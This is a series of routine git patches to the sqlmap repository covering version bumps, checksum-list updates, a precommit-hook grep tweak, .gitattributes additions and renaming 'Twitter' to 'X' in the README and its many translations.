cb43de49a549ae5524f3066b99d6bc3b0b684c6e68c2e75602e87b2ac5718716 extra/shellcod 4d0a244b7c618e1539c72180f909792083c02cec31e27b44eec98b0055163536 extra/shutils/modernize.sh 74fe683e94702bef6b8ea8eebb7fc47040e3ef5a03dec756e3cf4504a00c7839 extra/shutils/newlines.py fed05c468af662ba6ca6885baf8bf85fec1e58f438b3208f3819ad730a75a803 extra/shutils/postcommit-hook.sh -9f67b912172d71f53fbd771bff990e0a338b97d714917c7b5fc2a1cdc597d6b5 extra/shutils/precommit-hook.sh +2629999f2eb826f46bc01cad3c1e7ae7fb8a85b3dd515c79983e08d6a5db6f85 extra/shutils/precommit-hook.sh 9a82c097f16a3062bd0e818bff12b4ec21b6f8f38b778604573a416589dfc450 extra/shutils/pycodestyle.sh fa1a42d189188770e82d536821d694626ca854438dadb9e08e143d3ece8c7e27 extra/shutils/pydiatra.sh 5da7d1c86ca93313477d1deb0d6d4490798a2b63a2dd8729094184625b971e11 extra/shutils/pyflakes.sh @@ -158,7 +158,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 extra/vulnserver/__init__.py 2ffe028b8b21306b6f528e62b214f43172fcf5bb59d317a13ba78e70155677ce extra/vulnserver/vulnserver.py -adfb70b1d41d0b1a06349d52a38a53a61c7fcc0c5551b42b4154e78345879934 .gitattributes +a0d94e1c0b837051736b36bb1f091cdec386069b61272e6b5eeec7590d4975c8 .gitattributes d33a282a9a9286ffa13e306b1902390b7832b01557a442a09116f330492487f9 .github/CODE_OF_CONDUCT.md 1995447ac067503468854540dbefd47201fc0915d7f17b94092869be2f32eb92 .github/CONTRIBUTING.md 41c2528377f3b89b892a47af0c69bf8f405a91e4b438c7bde38b1256bd0cf2b0 .github/FUNDING.yml @@ -195,7 +195,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -5aecbcc1b619da81c4c2d98eff96c26f93df83102619fad8c6d5588c5b9d9f8a lib/core/settings.py +d70f208cd2c163e6bea3f592493dd53afb77499f1961972a4d30865f491ffde9 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py From c2988056d96bd421797b4f542984adc2abeef102 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Mar 2024 13:04:12 +0100 Subject: [PATCH 051/853] Minor patch --- extra/shutils/precommit-hook.sh | 2 +- lib/core/settings.py | 2 +- sha256sums.txt | 13 ++----------- 3 files changed, 4 insertions(+), 13 deletions(-) diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh index 230b91fc11a..36f02e2ad1a 100755 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -38,5 +38,5 @@ then git add "$SETTINGS_FULLPATH" fi -cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv ' \.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd - +cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv '^\.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd - git add "$DIGEST_FULLPATH" diff --git a/lib/core/settings.py b/lib/core/settings.py index 8573e027d72..4ad737ecc52 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.3.8" +VERSION = "1.8.3.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sha256sums.txt b/sha256sums.txt index f95e13e5817..1ba1683df54 100644 --- a/sha256sums.txt +++ b/sha256sums.txt @@ -148,7 +148,7 @@ cb43de49a549ae5524f3066b99d6bc3b0b684c6e68c2e75602e87b2ac5718716 extra/shellcod 4d0a244b7c618e1539c72180f909792083c02cec31e27b44eec98b0055163536 extra/shutils/modernize.sh 74fe683e94702bef6b8ea8eebb7fc47040e3ef5a03dec756e3cf4504a00c7839 extra/shutils/newlines.py fed05c468af662ba6ca6885baf8bf85fec1e58f438b3208f3819ad730a75a803 extra/shutils/postcommit-hook.sh -2629999f2eb826f46bc01cad3c1e7ae7fb8a85b3dd515c79983e08d6a5db6f85 extra/shutils/precommit-hook.sh +c7b87d2db16e5159fc83bef0d03b3867af6913049ba6d207781008be4838dfe2 extra/shutils/precommit-hook.sh 9a82c097f16a3062bd0e818bff12b4ec21b6f8f38b778604573a416589dfc450 extra/shutils/pycodestyle.sh fa1a42d189188770e82d536821d694626ca854438dadb9e08e143d3ece8c7e27 extra/shutils/pydiatra.sh 5da7d1c86ca93313477d1deb0d6d4490798a2b63a2dd8729094184625b971e11 extra/shutils/pyflakes.sh @@ -158,14 +158,6 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 extra/vulnserver/__init__.py 2ffe028b8b21306b6f528e62b214f43172fcf5bb59d317a13ba78e70155677ce extra/vulnserver/vulnserver.py -a0d94e1c0b837051736b36bb1f091cdec386069b61272e6b5eeec7590d4975c8 .gitattributes -d33a282a9a9286ffa13e306b1902390b7832b01557a442a09116f330492487f9 .github/CODE_OF_CONDUCT.md -1995447ac067503468854540dbefd47201fc0915d7f17b94092869be2f32eb92 .github/CONTRIBUTING.md -41c2528377f3b89b892a47af0c69bf8f405a91e4b438c7bde38b1256bd0cf2b0 .github/FUNDING.yml -1ffffef843db31a06c05e7c5dfc035aa49d644d30cd5b0efe125a94f620669fa .github/ISSUE_TEMPLATE/bug_report.md -c6726cb63f8103f33cebe2e3ca83f6b23075ccafebd92221b128a9608cd13aef .github/ISSUE_TEMPLATE/feature_request.md -461e7ac325b92606e52cb8c60f79eab8267d078361d12ed6bfed2771766b2218 .github/workflows/tests.yml -4f18488df46d384628afb36589c947167c17d6c1b3f88727bab2d5a0016aafee .gitignore f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller/action.py 5d62d04edd432834df809707450a42778768ccc3c909eef6c6738ee780ffa884 lib/controller/checks.py 34120f3ea85f4d69211642a263f963f08c97c20d47fd2ca082c23a5336d393f8 lib/controller/controller.py @@ -195,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -d70f208cd2c163e6bea3f592493dd53afb77499f1961972a4d30865f491ffde9 lib/core/settings.py +abe030ec82c6aa4a48c6f8dad67c4fe9537d8871b471be71c4f69656fafefb75 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -480,7 +472,6 @@ a734d74599761cd1cf7d49c88deeb121ea57d80c2f0447e361a4e3a737154c0e plugins/generi fff84edc86b7d22dc01148fb10bb43d51cb9638dff21436fb94555db2a664766 plugins/generic/takeover.py 0bc5c150e8cf4f892aba1ff15fc8938c387fb2a173b77329a0dc4cdb8b4bb4e2 plugins/generic/users.py 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 plugins/__init__.py -500daa13520fdd603ce8e08578509c7a5a869c353ceb209b52d89c2035a15175 .pylintrc e1745b85de63c04be89705f919830a0584464fd15d7dc61a0df0a7e9459d24c5 README.md 6cfaaf6534688cecda09433246d0a8518f98ce5cf6d6a8159f24d70502cfc14f sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml From d892163a86291b8de0c50cd9655f8ffebd25a226 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Mar 2024 13:08:03 +0100 Subject: [PATCH 052/853] Renaming Twitter to X --- .gitattributes | 2 ++ README.md | 2 +- doc/translations/README-bg-BG.md | 2 +- doc/translations/README-de-DE.md | 2 +- doc/translations/README-es-MX.md | 2 +- doc/translations/README-fr-FR.md | 2 +- doc/translations/README-gr-GR.md | 2 +- doc/translations/README-hr-HR.md | 2 +- doc/translations/README-id-ID.md | 2 +- doc/translations/README-it-IT.md | 2 +- doc/translations/README-ja-JP.md | 2 +- doc/translations/README-ka-GE.md | 2 +- doc/translations/README-nl-NL.md | 2 +- doc/translations/README-pl-PL.md | 2 +- doc/translations/README-pt-BR.md | 2 +- doc/translations/README-rs-RS.md | 2 +- doc/translations/README-ru-RU.md | 2 +- doc/translations/README-sk-SK.md | 2 +- doc/translations/README-tr-TR.md | 2 +- doc/translations/README-uk-UA.md | 2 +- doc/translations/README-vi-VN.md | 2 +- doc/translations/README-zh-CN.md | 2 +- extra/shutils/pypi.sh | 2 +- lib/core/settings.py | 2 +- sha256sums.txt | 46 ++++++++++++++++---------------- 25 files changed, 48 insertions(+), 46 deletions(-) diff --git a/.gitattributes b/.gitattributes index a2da3658a48..a99321d231b 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,5 +1,6 @@ *.conf text eol=lf *.json text eol=lf +*.html text eol=lf *.md text eol=lf *.md5 text eol=lf *.pl text eol=lf @@ -8,6 +9,7 @@ *.sql text eol=lf *.txt text eol=lf *.xml text eol=lf +*.yaml text eol=lf *.yml text eol=lf LICENSE text eol=lf COMMITMENT text eol=lf diff --git a/README.md b/README.md index 772c3d08738..ff314f51534 100644 --- a/README.md +++ b/README.md @@ -45,7 +45,7 @@ Links * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * User's manual: https://github.com/sqlmapproject/sqlmap/wiki * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-bg-BG.md b/doc/translations/README-bg-BG.md index cc10870af1c..77c87d538fb 100644 --- a/doc/translations/README-bg-BG.md +++ b/doc/translations/README-bg-BG.md @@ -45,6 +45,6 @@ sqlmap работи самостоятелно с [Python](https://www.python.or * Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues * Упътване: https://github.com/sqlmapproject/sqlmap/wiki * Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-de-DE.md b/doc/translations/README-de-DE.md index b279c87abbf..2c4df73bdf5 100644 --- a/doc/translations/README-de-DE.md +++ b/doc/translations/README-de-DE.md @@ -44,6 +44,6 @@ Links * Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues * Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki * Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md index a78dee2d41d..3b07133dfb5 100644 --- a/doc/translations/README-es-MX.md +++ b/doc/translations/README-es-MX.md @@ -44,6 +44,6 @@ Enlaces * Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues * Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki * Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index c9eb5967f5f..9f355742135 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -44,6 +44,6 @@ Liens * Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues * Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki * Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index b33b622b5c1..d634b692af1 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -45,6 +45,6 @@ * Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues * Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki * Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md index c80e0ce78b8..20c01315df4 100644 --- a/doc/translations/README-hr-HR.md +++ b/doc/translations/README-hr-HR.md @@ -45,6 +45,6 @@ Poveznice * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index 851ddd17522..d6089d287df 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -48,6 +48,6 @@ Tautan * Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki * Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos) * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md index 1ac62cf562f..007fcdb5de0 100644 --- a/doc/translations/README-it-IT.md +++ b/doc/translations/README-it-IT.md @@ -45,6 +45,6 @@ Link * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki * Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md index 739a8efc779..cf5388547e8 100644 --- a/doc/translations/README-ja-JP.md +++ b/doc/translations/README-ja-JP.md @@ -46,6 +46,6 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの * 課題管理: https://github.com/sqlmapproject/sqlmap/issues * ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki * よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ka-GE.md b/doc/translations/README-ka-GE.md index 83c2fc6e78f..ccbad80ee23 100644 --- a/doc/translations/README-ka-GE.md +++ b/doc/translations/README-ka-GE.md @@ -44,6 +44,6 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ * პრობლემებისათვის თვალყურის დევნება: https://github.com/sqlmapproject/sqlmap/issues * მომხმარებლის სახელმძღვანელო: https://github.com/sqlmapproject/sqlmap/wiki * ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md index cea39991794..e419044bac1 100644 --- a/doc/translations/README-nl-NL.md +++ b/doc/translations/README-nl-NL.md @@ -45,6 +45,6 @@ Links * Probleem tracker: https://github.com/sqlmapproject/sqlmap/issues * Gebruikers handleiding: https://github.com/sqlmapproject/sqlmap/wiki * Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md index 92a6d849432..e8709ae4eb5 100644 --- a/doc/translations/README-pl-PL.md +++ b/doc/translations/README-pl-PL.md @@ -45,6 +45,6 @@ Odnośniki * Zgłaszanie błędów: https://github.com/sqlmapproject/sqlmap/issues * Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki * Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md index a658ee0c04e..bdd4500ab9a 100644 --- a/doc/translations/README-pt-BR.md +++ b/doc/translations/README-pt-BR.md @@ -45,6 +45,6 @@ Links * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki * Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos) * Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-rs-RS.md b/doc/translations/README-rs-RS.md index 6c5bb2c67f1..a76836d249d 100644 --- a/doc/translations/README-rs-RS.md +++ b/doc/translations/README-rs-RS.md @@ -45,6 +45,6 @@ Linkovi * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ru-RU.md b/doc/translations/README-ru-RU.md index 634a4488adc..a24f3047d03 100644 --- a/doc/translations/README-ru-RU.md +++ b/doc/translations/README-ru-RU.md @@ -45,6 +45,6 @@ sqlmap работает из коробки с [Python](https://www.python.org/d * Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues * Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki * Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-sk-SK.md b/doc/translations/README-sk-SK.md index 1adc31000cc..42258e58938 100644 --- a/doc/translations/README-sk-SK.md +++ b/doc/translations/README-sk-SK.md @@ -45,6 +45,6 @@ Linky * Sledovač problémov: https://github.com/sqlmapproject/sqlmap/issues * Používateľská príručka: https://github.com/sqlmapproject/sqlmap/wiki * Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 5951d109e52..e48c9a44a64 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -48,6 +48,6 @@ Bağlantılar * Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues * Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki * Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md index d7fd412bc63..0158edf163b 100644 --- a/doc/translations/README-uk-UA.md +++ b/doc/translations/README-uk-UA.md @@ -45,6 +45,6 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow * Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues * Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki * Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md index 61fccfe4b92..941e02fbc4c 100644 --- a/doc/translations/README-vi-VN.md +++ b/doc/translations/README-vi-VN.md @@ -47,6 +47,6 @@ Liên kết * Theo dõi vấn đề: https://github.com/sqlmapproject/sqlmap/issues * Hướng dẫn sử dụng: https://github.com/sqlmapproject/sqlmap/wiki * Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md index 7bff7213503..cf3c1bb07ab 100644 --- a/doc/translations/README-zh-CN.md +++ b/doc/translations/README-zh-CN.md @@ -44,6 +44,6 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.6**, **2. * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * 使用手册: https://github.com/sqlmapproject/sqlmap/wiki * 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://twitter.com/sqlmap) * 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index 663a4dc2169..9866b9d8103 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -159,7 +159,7 @@ Links - User's manual: https://github.com/sqlmapproject/sqlmap/wiki - Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -- Twitter: https://twitter.com/sqlmap +- X: https://twitter.com/sqlmap - Demos: http://www.youtube.com/user/inquisb/videos - Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/lib/core/settings.py b/lib/core/settings.py index 4ad737ecc52..9b6e1a765cf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.3.9" +VERSION = "1.8.3.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sha256sums.txt b/sha256sums.txt index 1ba1683df54..0f490dc6c64 100644 --- a/sha256sums.txt +++ b/sha256sums.txt @@ -88,29 +88,29 @@ abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS 68550be6eeb800bb54b1b47877412ecc88cf627fb8c88aaee029687152eb3fc1 doc/CHANGELOG.md 2df1f15110f74ce4e52f0e7e4a605e6c7e08fbda243e444f9b60e26dfc5cf09d doc/THANKS.md f939c6341e3ab16b0bb9d597e4b13856c7d922be27fd8dba3aa976b347771f16 doc/THIRD-PARTY.md -7986e56aa3806b07f5c7d7371d089e412cf8aeda58f189f7d52676a9198315e0 doc/translations/README-bg-BG.md -008acbb8f3cc5396783a401b7fecef72123830ee7388adb1573f51a5180d2d68 doc/translations/README-de-DE.md -975702c5b8c965b5c865b6658cefb813b4c16effa841d524cfc11f1c1c7dd368 doc/translations/README-es-MX.md +792bcf9bf7ac0696353adaf111ee643f79f1948d9b5761de9c25eb0a81a998c9 doc/translations/README-bg-BG.md +4689fee6106207807ac31f025433b4f228470402ab67dd1e202033cf0119fc8a doc/translations/README-de-DE.md +2b3d015709db7e42201bc89833380a2878d7ab604485ec7e26fc4de2ad5f42f0 doc/translations/README-es-MX.md f7b6cc0d0fdd0aa5550957db9b125a48f3fb4219bba282f49febc32a7e149e74 doc/translations/README-fa-IR.md -4753b40c65b039ef9f95cb9503db1ad44aec25a4d3c29b7d0773e5195bd20552 doc/translations/README-fr-FR.md -d6a95bd3ba7375561796e556fc79858eeba0df5e451342f57e038211dc78d580 doc/translations/README-gr-GR.md -8b5c7a49631ce32e1e682e557a8187ab58d3939a8a25b70c7294e598a3623d7a doc/translations/README-hr-HR.md -b800a27c1263195595cff59f5f872ff77fcb094477bf25ebf59b2fcc7ca8c982 doc/translations/README-id-ID.md +3eac203d3979977b4f4257ed735df6e98ecf6c0dfcd2c42e9fea68137d40f07c doc/translations/README-fr-FR.md 